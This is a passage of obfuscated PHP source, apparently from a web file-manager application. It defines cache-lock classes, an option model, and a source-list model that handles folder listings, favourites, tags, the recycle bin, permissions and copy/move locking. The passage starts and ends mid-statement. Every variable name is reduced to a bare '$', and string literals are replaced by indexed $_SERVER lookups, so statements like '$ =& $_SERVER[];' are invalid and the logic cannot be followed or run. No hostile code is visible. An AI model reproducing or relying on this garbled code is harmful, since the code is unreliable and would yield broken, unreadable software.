= $this->cachePath . $; if (strpos($, $[884]) && strpos($, $[885])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[884]) && strpos($, $[885]) && filemtime($) < time()) { @unlink($); } } } } goto F; D: class CacheLockRedis { public function lock($, $ = 10) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$) { $ = $->setLock($, $, $); if ($) { return !0; } } else { if ($ < microtime(!0)) { $->set($, $, $ * 2); if ($->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockMemcached { public function lock($, $ = 0) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->handle->add($, $, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockDatabase { public function lock($, $ = 0) { $ = Model($_SERVER[][874]); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->set($, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][874])->get($); } public function unlock($) { Model($_SERVER[][874])->remove($); } } goto a; F: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $ ? isset($[$]) ? $[$] : null : $; } $ = $this->filterWhere(array($[33] => $)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[96], $[420]); foreach ($ as $ => $) { if ($ || in_array($, $this->jsonField)) { $[$] = json_decode($, !0); } } $this->cacheSet($, $); $ = array_merge($, $); return $ ? $[$] : $; } public function set($, $ = false, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = array(); $ = is_array($) ? $ : array($ => $); foreach ($ as $ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $[4] . $); $ = self::textEncode($); $ = array($[33] => $, $[96] => $, $[420] => $); $[] = $this->filterWhere($); } if (!$) { return !0; } $ = $this->cacheKey($[446]); CacheLock::lock($); $ = $this->addAll($, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $ = false, $ = '') { $ = explode($_SERVER[][10], $); $ = $this->get(); array_set_value($, $, $); $this->set($[0], $[$[0]], $); } public function remove($, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[96] => $, $[33] => $)); if (is_null($)) { unset($[$[96]]); } return $this->where($)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "io_source"; protected $tableMeta = array("tableName" => "io_source_meta", "metaField" => "sourceID"); protected $dataAuto = array(array("modifyTime", "time", "insert", "function"), array("createTime", "time", "insert", "function"), array("viewTime", "time", "insert", "function")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][447] => $)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "system", self::TYPE_USER => "user", self::TYPE_GROUP => "group"); return $[$ . $_SERVER[][12]]; } public function sourceListInfo($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ = $this->where(array($[183] => array($[7], $)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $[183]); } public function pathInfoFilter(&$) { $ =& $_SERVER[]; static $ = false; static $ = false; static $ = false; if (!$) { $ = $[448]; $ .= $[449]; $ .= $[450]; $ = $[451]; $ = explode($[50], $); $ = explode($[50], $); $ = array(); foreach ($ as $) { if (in_array($, $)) { continue; } $[] = $; } $ = explode($[50], $[452]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$[86]] = $[453] . $[$[183]] . $[454]; $[$[33]] = $[$[455]] == 1 ? $[77] : $[216]; $[$[180]] = $this->typeName($[$[180]]); if ($[$[455]] != 1) { $[$[177]] = $[$[456]]; unset($[$[456]]); } $ = $; if (isset($[$[457]]) && $[$[457]][$[458]] == -1) { $ = $; } $ = array_field_key($, $); return $; } public function listUserFav() { $ =& $_SERVER[]; $ = Model($[459])->listData(); $ = array_filter_by_field($, $[33], $[460]); $ = array_to_keyvalue($, $[12], $[86]); if ($) { $ = $this->listSource(array($[461] => array($[462], $))); } $ = array_to_keyvalue($[$[415]], $[183]); foreach ($ as &$) { $ = array($[463] => $[$[445]], $[464] => $[$[32]], $[465] => $[$[86]], $[466] => $[$[33]], $[467] => $[$[217]], $[468] => $[$[87]]); if ($[$[33]] == $[460] && $[$[$[86]]]) { $[$[89]] = $[$[$[86]]]; } } unset($); return $; } public function listUserTag($) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($[469])->listData(); $ = array(); $ = array(); foreach ($ as $) { $ = $[$[86]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[470]]; $[$[$[86]]] = $; } $ = array(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array($, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($)) { $ = $[$]; $ = array($[32] => $[$[32]], $[86] => $[$[86]], $[33] => $[$[33]], $[89] => array($[471] => 1), $[218] => !0); if ($[$[33]] == $[216]) { $[] = $; } if ($[$[33]] == $[77]) { $[] = $; } continue; } $[] = $; } if ($) { $ = $this->listSource(array($[461] => array($[462], $))); } $ = $ ? $ : array($[84] => array(), $[85] => array()); $[$[84]] = array_merge($[$[84]], $); $[$[85]] = array_merge($[$[85]], $); if (isset($[$[412]]) && count($) == $[$[412]][$[413]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[84]], $[12], $[183]); $ = array_to_keyvalue($[$[85]], $[12], $[183]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { Model($[472])->removeBySource($); } return $; } public function listUserRecycle() { $ =& $_SERVER[]; $ = Model($[473])->listData(); if (!$) { return array(); } $ = array($[461] => array($[462], $), $[474] => 1); return $this->listSource($); } public function listSource($, $ = 3000, $ = false) { $ =& $_SERVER[]; if (!isset($[$[475]])) { $[$[475]] = 0; } if (isset($[$[182]]) && $[$[182]] == $[214]) { $[$[456]] = array($[377], $[476]); } $ = $[477]; $ = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($, $, $); $this->_listDataApply($[$[415]], $); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $) { $ =& $_SERVER[]; if (!is_array($[$[412]])) { return; } $ = $[$[412]]; if ($[$[414]] <= 1) { return; } if ($[$[413]] >= 100000) { return; } if (Model($[478])->get($[479]) != $[480]) { return; } $ = str_replace(array($[53], $[388], $[248]), $[12], $); $ = $[481] . str_replace($[50], $[482], $) . $[483]; $ = $[484]; $ = $ . $[485]; $ = $[$[409]] * ($[$[399]] - 1) . $[50] . $[$[409]]; $ = $this->_makeOrder(!0); $ = $[481] . str_replace($[50], $[482], $[0]); if (strpos($, $[486])) { $ = str_replace($[486], $[487], $); } else { $ .= $[488] . $[1]; } $ = array(); foreach ($ as $ => $) { $[$[481] . $] = $; } $this->alias($[489])->field($)->limit($)->order($); $ = $this->join($)->where($)->select(); if ($) { $[$[415]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $ = Model($[490])->get($[491]); $ = Model($[490])->get($[492]); $ = array($[493] => $[494], $[495] => $[496]); $ = array($[32] => $[32], $[78] => $[78], $[177] => $[456], $[497] => $[497], $[498] => $[499], $[217] => $[217], $[87] => $[87]); $ = Input::get($[500], $[7], $, array_keys($)); $ = Input::get($[501], $[7], $, array_keys($)); if (!in_array($, array_keys($))) { $ = $[32]; } if (!in_array($, array_keys($))) { $ = $[493]; } if ($ == $[32]) { } $ = $[502] . $[$] . $[53] . $[$]; $ = rtrim(trim($), $[50]); if ($) { return array($, $[$]); } return $this->order($); } protected function _listDataApplyItem($, $ = false) { $ = array($); $this->_listDataApply($, $); return $[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[]; if (!$) { $ = array(); return; } $ = array_to_keyvalue($, $[12], $[183]); $ = array_unique($); $this->_listSourceCache($); if (!$) { $this->_listAppendMeta($, $); $this->_listAppendFileMeta($, $); $this->_listAppendChildren($, $); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $); $this->_listAppendUser($); $this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($) { $ =& $_SERVER[]; foreach ($ as $) { self::$cacheSourceInfo[$[503] . $[$[183]]] = $; } } protected function _listFilterInfo(&$, $ = false) { $ =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[504] . intval($) . $[432] . $[$[183]]] = $; } unset($); } protected function _listMake(&$) { $ =& $_SERVER[]; $[$[84]] = array(); $[$[85]] = array(); foreach ($[$[415]] as $) { $ = $[$[455]] == 1 ? $[84] : $[85]; $[$][] = $; } unset($[$[415]]); } protected function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[461] => array($[462], $)); $ = Model($[505])->field($[506])->where($)->select(); if (!$) { return; } $ = array($[507], $[508], $[487]); $ = array(); foreach ($ as $) { if (!isset($[$[$[183]]])) { $[$[$[183]]] = array(); } if (in_array($[$[96]], $)) { continue; } $[$[$[183]]][$[$[96]]] = $[$[420]]; } foreach ($ as &$) { $[$[509]] = !1; if (isset($[$[$[183]]])) { $[$[509]] = $[$[$[183]]]; } if ($this->fileIsLock($) && $[$[457]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[457]][$[458]] = AuthModel::authDisable($[$[457]][$[458]], $); $[$[457]][$[510]][$[457]] = $[$[457]][$[458]]; } } unset($); } protected function _listAppendFileMeta(&$, $) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[511]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($[512] => array($[462], $)); $ = $[513]; $ = Model($[514])->field($)->where($)->select(); $ = array_to_keyvalue($, $[511]); $ = Model($[515])->field($[516])->where($)->select(); $ = $ ? $ : array(); $ = array(); foreach ($ as $) { if (!isset($[$[$[511]]])) { $[$[$[511]]] = array(); } $[$[$[511]]][$[$[96]]] = $[$[420]]; } foreach ($ as &$) { $ = $[$[511]]; if (!$ || !is_array($[$])) { continue; } $ = $[$]; $[$[78]] = $[$[78]]; $[$[32]] = $[$[32]]; if (!$[$[517]]) { Model($[514])->fileMd5Check($); } if (!isset(self::$cacheFileInfo[$[518] . $])) { self::$cacheFileInfo[$[518] . $] = array_merge(array(), $); } unset($[$][$[86]]); $ = is_array($[$]) ? $[$] : array(); $[$[519]] = array_merge($, $[$]); if (isset($[$[519]][$[173]])) { $[$[173]] = json_decode($[$[519]][$[173]], !0); unset($[$[519]][$[173]]); } } unset($); } protected function _listAppendSourceInfo(&$, $) { $ =& $_SERVER[]; $ = Model($[520])->listData(); $ = Model($[469])->listData(); $ = Model($[459])->listData(); $ = Model($[521])->listSimple(); $ = array_to_keyvalue($, $[445]); $ = array_to_keyvalue_group($, $[86], $[470]); $ = array_to_keyvalue($, $[86]); $ = array_to_keyvalue_group($, $[183]); foreach ($ as &$) { $[$[89]] = array($[522] => 0, $[523] => 0, $[524] => 0); if (isset($[$[$[183]]])) { $[$[89]][$[525]] = 1; $[$[89]][$[526]] = $[$[$[183]]][$[32]]; } if ($ && $ && isset($[$[$[183]]])) { $[$[89]][$[527]] = array(); foreach ($[$[$[183]]] as $) { $ = $[$]; $[$[89]][$[527]][] = array($[528] => $[$[445]], $[464] => $[$[32]], $[529] => $[$[530]]); } } if ($ && isset($[$[$[183]]])) { $[$[89]][$[531]] = array(); foreach ($[$[$[183]]] as $) { $ = $[532]; if ($[$[533]] == $[90]) { $ .= $[534]; } $[$[89]][$[531]] = array_field_key($, explode($[50], $)); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ =& $_SERVER[]; $ = array(); $ = array($[225] => 0, $[226] => 0); foreach ($ as &$) { if (!$[$[455]]) { continue; } $[] = $[$[183]]; } unset($); if (!$) { return; } $ = array($[182] => array($[7], $), $[475] => 0); $ = array($[182], $[455], $[535] => $[536]); $ = $this->field($)->where($)->group($[537])->select(); $ = array(); foreach ($ as $) { $ = $[$[182]]; $ = $[$[455]] == $[90] ? $[226] : $[225]; if (!isset($[$])) { $[$] = array($[225] => 0, $[226] => 0); } $[$][$] += $[$[536]]; } foreach ($ as &$) { if (!$[$[455]]) { continue; } $ = is_array($[$[$[183]]]) ? $[$[$[183]]] : $; $[$[226]] = $[$[226]]; $[$[225]] = $[$[225]]; unset($[$[456]]); } unset($); } protected function _listAppendAuth(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if ($[$[180]] == self::TYPE_GROUP) { $[] = $[$[183]]; } } if (!$) { return; } $ = array_to_keyvalue($, $[183]); $ = Model($[538])->getSourceList($, $); $ = KodUser::isRoot(); foreach ($ as $ => &$) { $[$[457]] = $[$[$[183]]]; if (!$[$[457]] && $[$[180]] == self::TYPE_GROUP) { $[$[457]] = Action($[539])->pathGroupAuthMake($[$[540]]); if (!$[$[457]] && !$) { $[$[219]] = !1; $[$[218]] = !1; } } if ($[$[457]]) { $[$[219]] = AuthModel::authCheckEdit($[$[457]][$[458]]); $[$[218]] = AuthModel::authCheckView($[$[457]][$[458]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[478])->get($[541]) != $[90]) { return; } static $ = false; if (!$) { $ = Model($[542]); $ = Model($[543]); $ = $->listData(); $ = array_to_keyvalue($, $[183]); $ = json_decode(Model($[478])->get($[544]), !0); $ = array_to_keyvalue($, $[445]); foreach ($ as $ => $) { $ = $[$[$[545]]]; if (!$) { $->remove($[$[445]]); unset($[$]); continue; } $ = $->listData($[$[457]]); if (!$) { $->remove($[$[445]]); unset($[$]); continue; } $[$[457]] = $; $[$[546]] = $; $[$[547]] = Model($[548])->getInfoSimpleOuter($[$[497]]); $[$] = $; } } $ = USER_ID; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $ => &$) { if (!is_array($[$[457]])) { continue; } if ($[$[180]] != $[549]) { continue; } if (isset($[$[$[183]]])) { $ = $[$[$[183]]]; if (!is_array($[$[509]])) { $[$[509]] = array(); } $[$[509]][$[550]] = $[$[545]]; $[$[457]][$[551]] = $; $[$[457]][$[552]] = $[$[553]]; $[$[457]][$[554]] = $[90]; if ($[$[497]] != $) { $[$[457]][$[458]] = $[$[457]][$[458]] & $[$[457]][$[457]]; } continue; } $ = $this->parentLevelArray($[$[555]]); $ = array_reverse($); foreach ($ as $ => $) { if (!isset($[$])) { continue; } $ = $[$]; $[$[457]][$[551]] = $; if ($[$[497]] != $) { $[$[457]][$[458]] = $[$[457]][$[458]] & $[$[457]][$[457]]; } $ = $[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($[$[$]])) { $ = $[12]; break; } $ = $ . rtrim($[$[$]], $[8]) . $[8]; } $[$[457]][$[552]] = rtrim($, $[8]) . $[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ =& $_SERVER[]; if ($[$[180]] != self::TYPE_GROUP) { return; } $ = Model($[556])->getInfo($[$[540]]); $ = $this->parentLevelArray($[$[555]]); $ = $[12]; foreach ($ as $) { $ = Model($[556])->getInfo($); $ .= $[$[89]][$[183]] . $[50]; } $[$[557]] = $[$[182]]; $[$[558]] = $[$[555]]; $[$[559]] = $[$[560]]; $[$[561]] = $ . $[$[89]][$[183]]; } protected function _listAppendPath(&$, $ = false) { $ =& $_SERVER[]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($ as &$) { $ = $[$[183]]; if ($[$[455]] == $[90] && $[$[182]] != 0) { $[$] = $[$[32]]; } if ($[$[455]] == $[90] && $[$[182]] == 0) { $[$] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$[555]]])) { continue; } $[$[$[555]]] = !0; $ = $this->parentLevelArray($[$[555]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_listAppendPathRoot($, $); } if ($ != 0) { $[] = $; } } } unset($); $ = array_unique($); if (count($) > 0) { $ = array($[461] => array($[462], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $ = is_array($) ? array($) : !1; } else { $ = $this->field($[562])->where($)->select(); } if (!$) { $ = array(); } foreach ($ as $) { $[$[$[183]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$) { $ = $[$[555]]; $ = $[12]; if (isset($[$])) { $ = $[$]; } else { $ = $this->parentLevelArray($[$[555]]); foreach ($ as $ => $) { if (isset($[$])) { $ .= $[$] . $[8]; } } $[$] = $; } $ .= $[$[32]]; if ($[$[455]] == $[90]) { $ .= $[8]; } $[$[553]] = str_replace($[563], $[8], $); if ($[$[182]] == $[214]) { $[$[32]] = trim($[$[$[183]]], $[8]); $[$[553]] = $[$[32]] . $[8]; } if (intval($[$[180]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $); } } unset($); return $; } private function _listAppendPathRecycle(&$, $, $) { $ =& $_SERVER[]; if (!in_array($, $) && $[$[183]] != $) { return; } $ = explode($[8], trim($[$[553]], $[8])); $ = implode($[8], array_slice($, 2)); $[$[553]] = $[8] . LNG($[564]) . $[8] . ltrim($, $[8]); $[$[555]] = $[565] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[183]] == $) { $[$[555]] = $[565]; $[$[182]] = $[214]; $[$[32]] = LNG($[564]); } $[$[566]] = $[567]; } protected function _listAppendPathRoot(&$, $) { $ =& $_SERVER[]; static $ = false; $ = $[12]; if ($[$[180]] == self::TYPE_USER) { if ($[$[540]] == USER_ID) { $ = LNG($[568]); if ($ === !1) { $ = Model($[569])->getInfoFull(USER_ID); $ = _get($, $[570], $[12]); } if ($ && $[0] == $ || !$ && $[$[183]] == $) { $ = LNG($[571]); $[$[572]] = $[573]; } if (!$) { $[$[32]] = $; } } else { $[$[574]] = Model($[548])->getInfoSimpleOuter($[$[540]]); $ = LNG($[575]) . $[165] . $[$[574]][$[32]] . $[167]; } } else { if ($[$[180]] == self::TYPE_GROUP) { $ = Model($[556])->getInfoSimple($[$[540]]); $ = $[$[32]]; } else { if ($[$[180]] == self::TYPE_SYSTEM) { $ = $[576]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[497]); $ = array_to_keyvalue($, $[12], $[499]); $ = array_merge($, $); $ = Model($[569])->userListInfo($); foreach ($ as &$) { $ = $[$[497]]; $[$[497]] = $[$] ? $[$] : !1; $ = $[$[499]]; $[$[499]] = $[$] ? $[$] : !1; if (isset($[$[509]]) && $[$[509]][$[577]]) { $ = $GLOBALS[$[6]][$[91]][$[578]]; if ($[$[509]][$[579]] <= time() - $) { $this->metaSet($[$[183]], $[577], null); $this->metaSet($[$[183]], $[579], null); unset($[$[509]][$[577]]); continue; } $ = $[$[509]][$[577]]; $[$[509]][$[580]] = Model($[569])->getInfoSimpleOuter($); } } unset($); } public function parentLevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); return array_remove_value($, $[214]); } public function listAll($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[581] => array($[582], $[$[555]] . $ . $[583]), $[584] => 0); $ = $[585]; $ = "LEFT JOIN {$this->tablePrefix}io_file file on source.fileID = file.fileID"; $ = $this->alias($[489])->field($)->where($)->join($)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[183]); $ = "/{$[$[32]]}/"; $ = $ == $[563] ? $[8] : $; $ = array(); foreach ($ as $ => $) { $ = $this->parentLevelArray($[$[555]]); array_shift($); $ = $; for ($ = 0; $ < count($); $++) { $ .= $[$[$]][$[32]] . $[8]; } $ .= $[$[32]]; if ($[$[455]]) { $ .= $[8]; } $ = array($[465] => str_replace($[563], $[8], str_replace($[563], $[8], str_replace($[563], $[8], $))), $[586] => intval($[$[455]]), $[587] => intval($[$[78]]), $[87] => intval($[$[87]]), $[89] => $this->pathInfoFilter($)); if (!$[$[455]]) { $[$[511]] = $[$[511]]; } $[] = $; } $ = array_sort_by($, $[86]); return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[588], $); $ = 1; $this->_lockEvent($, array($[589], $[590]), $); $this->_lockParent($, array($[590]), $); $this->_lockEvent($, array($[591], $[592]), $); $this->_lockCheckEnd($[588], $); } public function lockCopyEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($[589], $[590]), $); $this->_lockParent($, array($[590]), $); $this->_lockEvent($, array($[591], $[592]), $); } public function lockWriteStart($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[589], $); $ = 1; $this->_lockKey($[593] . $ . $[10] . $, $); $this->_lockEvent($, array($[588], $[590]), $); $this->_lockParent($, array($[588], $[590]), $); $this->_lockCheckEnd($[589], $); } public function lockWriteEnd($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[593] . $ . $[10] . $, $); $this->_lockEvent($, array($[588], $[590]), $); $this->_lockParent($, array($[588], $[590]), $); } public function lockMoveStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[590], $); $ = 1; $this->_lockKey($[594] . $, $); $this->_lockEvent($, array($[588], $[589]), $); $this->_lockParent($, array($[588], $[590]), $); $this->_lockEvent($, array($[595], $[591], $[592]), $); $this->_lockCheckEnd($[590], $); } public function lockMoveEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[594] . $, $); $this->_lockEvent($, array($[588], $[589]), $); $this->_lockParent($, array($[588], $[590]), $); $this->_lockEvent($, array($[595], $[591], $[592]), $); } private function _lockCheck($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $ . $[10] . $; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $ = LNG($[596]); CacheLock::setErrorMsg($[165] . htmlspecialchars($[$[32]]) . $[167] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($[$[555]])); foreach ($ as $) { $ = $ . $[597] . $; if (CacheLock::lockGet($[598] . $)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($[165] . htmlspecialchars($[$[32]]) . $[167] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $ =& $_SERVER[]; $ = $ . $[10] . $; CacheLock::setErrorMsg($[424]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[503] . $]); } $ = $this->sourceInfo($); if (!$) { show_json(LNG($[107]), !1); } } private function _lockParent($, $, $) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ = array_reverse($this->parentLevelArray($[$_SERVER[][555]])); foreach ($ as $) { $this->_lockEvent($, $, $); } } private function _lockEvent($, $, $) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $[10] . $; if ($ && CacheLock::lockGet($[598] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[][598] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); $ = $[$[555]] . $[$[183]] . $[50]; $ = $[$[555]] . $[$[183]] . $[50]; $ = strpos($, $) === 0; return $; } private $targetIsDelete = 0; public function copy($, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($); if (!$ || !$ || $[$[455]] != $[90]) { return !1; } if ($this->isParentOf($, $)) { return !1; } $ = $ ? $ : $[$[32]]; $this->lockCopyStart($); $this->lockWriteStart($, $); $ = array($[599] => array(), $[600] => array(), $[601] => array()); $this->targetIsDelete = intval($[$[475]]); $ = $this->fileNameExistAuto($, $); $ = $this->_copy($, $, $, $, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($, $); if ($[$[455]] == $[90] && $ == $) { $this->folderSizeResetChildren($); } Model($[602])->addAll($[$[600]], array(), !0); if ($ != $ || $[$[455]] == $[90]) { Model($[603])->eventCopy($); } $this->saveAll($[$[601]]); Model($[216])->linkAdd($[$[599]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copy($, $, $, &$, $, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $[$[455]] == $[90]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); if ($) { $this->_childrenAllMake($); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $, $, $); } $ = $; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$[183]], $, $, $, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $, $); $ = $this->_copyCreate($, $, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if ($) { $[$[599]][] = $[$[511]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[604], array($[605], $, 0)); } return $; } private function _copyCreate($, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($, $, $); Hook::trigger($[606], $); Hook::trigger($[607], array($[608], $, 0)); $ = $this->add($); $ = array($[183] => $, $[32] => $); $this->_copyApplyMeta($, $); if ($[$[455]] != $[90]) { $[$[599]][] = $[$[511]]; return $; } $ = array(); $ = array(); $this->_childrenListAll($, $); $ = count($); if ($ == 0) { return $; } $ = $this->sourceInfo($); foreach ($ as $) { $ = $this->_makeItemData($, $, $[$[32]]); $[$[555]] = $[$[555]]; $[] = $; } $this->chunkEventSet($[609], array($[610], $, $)); $this->addAll($, array(), !1); $ = $this->where(array($[182] => $))->select(); $ = $this->_childrenMakeRelation($, $); $[$] = $; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[183]]; $ = $this->_childrenMatch($, $, $); $[] = array($[183], $, $[182], $[$[182]]); $[] = array($[183], $, $[555], $[$[555]]); $this->_copyApplyMeta($, $); if ($[$[455]] != $[90]) { $[$[599]][] = $[$[511]]; } } $this->chunkEventSet($[611], array($[612], $, $)); $this->saveAll($); $this->chunkEventSet($[613], array($[614], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[555]]; $[$] = $[$[183]]; } foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[555]]; $ = $[$]; $[$] = $[$[183]]; } return $; } private function _childrenMatch($, $, $) { $ =& $_SERVER[]; $ = $[$[555]]; $ = $this->parentLevelArray($[$[555]]); foreach ($ as $) { if (isset($[$])) { $ .= $[$] . $[615]; } } $ = rtrim($, $[50]) . $[50]; $ = $this->parentLevelArray($); $ = $[count($) - 1]; return array($[182] => $, $[555] => $); } private function _makeItemData($, $, $) { $ =& $_SERVER[]; $ = array($[616] => $[$[455]], $[464] => $, $[617] => $[$[456]] ? $[$[456]] : $[12], $[512] => $[$[511]] ? $[$[511]] : 0, $[587] => $[$[78]] ? $[$[78]] : 0, $[618] => intval($[$[180]]), $[619] => intval($[$[540]]), $[620] => intval(USER_ID), $[621] => intval(USER_ID), $[447] => intval($[$[183]]), $[622] => $[$[555]] . $[$[183]] . $[50], $[468] => $[$[87]] ? $[$[87]] : time(), $[474] => 0, $[623] => $[12]); return $; } private function _copyApplyMeta($, &$) { $ =& $_SERVER[]; $ = $[$[183]]; $ = $[$[32]]; if (!isset($[$[624]]) || !$[$[624]] || $[$[624]] == $[214]) { $[$[601]][] = array($[183], $, $[624], short_id($)); } if (Input::check($, $[625])) { $[$[600]][] = array($[183] => $, $[96] => $[508], $[420] => str_replace($[53], $[12], Pinyin::get($))); $[$[600]][] = array($[183] => $, $[96] => $[507], 